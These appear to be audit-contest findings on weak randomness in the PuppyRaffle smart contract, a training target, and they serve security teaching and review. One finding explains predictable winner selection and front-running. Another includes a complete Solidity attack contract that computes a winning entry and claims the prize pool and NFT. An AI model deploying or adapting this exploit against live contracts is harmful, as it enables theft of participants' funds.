The PuppyRaffle::selectWinner function uses on-chain data for randomness that is known before transaction execution. An attacker can predict and manipulate the winner by controlling when they call selectWinner().
Expected behavior: Winner selection should be unpredictable and impossible to manipulate by participants or transaction callers.
Actual behavior: The randomness source uses msg.sender, block.timestamp, and block.difficulty - all values known to the attacker before they submit their transaction. They can calculate the winner in advance and choose to only call the function when they will win.
The attacker knows their own address (msg.sender), can see the current timestamp, and block.difficulty is publicly known. They can simulate the exact calculation off-chain and determine who will win before calling the function.
Additional Attack Vector - Front-Running:
Since msg.sender is part of the randomness calculation and selectWinner() has no access control, an attacker can front-run the winner selection. They can simulate what would happen if they call the function versus if someone else calls it. If calling it themselves would make them win, they call it immediately. If not, they simply don't call it and wait for someone else to call (which produces a different outcome). This gives the attacker selective participation and an unfair advantage over honest players.
Likelihood:
High - Any participant can exploit this
Attacker just needs to enter the raffle and wait for favorable conditions
No special skills required beyond basic blockchain knowledge
Impact:
Complete control over winner selection through timestamp manipulation
Attacker can guarantee they win via front-running (selective calling)
Attacker can steal the entire prize pool and rare NFT
Legitimate players have no chance of winning if attacker is present
Undermines entire purpose of the raffle
Add to test/PuppyRaffleTest.t.sol:
Run: forge test --match-test test_weakPRNG -vv
Output:
The attacker found they would win at timestamp +33 seconds, waited, and guaranteed themselves the win.
Use Chainlink VRF (Verifiable Random Function) for unpredictable randomness:
Chainlink VRF provides verifiable randomness that cannot be predicted or manipulated.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.